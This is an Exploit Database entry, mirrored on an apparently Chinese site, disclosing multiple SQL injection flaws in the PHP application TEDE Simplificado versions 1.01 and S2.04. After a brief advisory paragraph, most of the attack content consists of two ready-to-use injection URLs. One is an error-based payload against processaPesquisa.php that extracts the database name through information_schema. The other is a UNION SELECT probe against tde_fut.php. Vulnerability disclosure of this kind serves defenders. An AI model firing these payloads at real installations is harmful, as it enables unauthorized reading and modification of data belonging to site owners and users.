TEDE Simplificado 1.01/S2.04 – Multiple SQL Injections

• Exploit Database
• 16 阅读

• 作者： KnocKout
  日期： 2011-06-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35814/

• source: https://www.securityfocus.com/bid/48067/info
  
  TEDE Simplificado is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
  A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
  TEDE Simplificado v1.01 and vS2.04 are vulnerable; other versions may also be affected. 
  
  http://www.example.com/tde_busca/processaPesquisa.php?pesqExecutada=1&id=663%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1
  
  http://www.example.com/tde_busca/tde_fut.php?id=10%20union%20select%201,2,3,4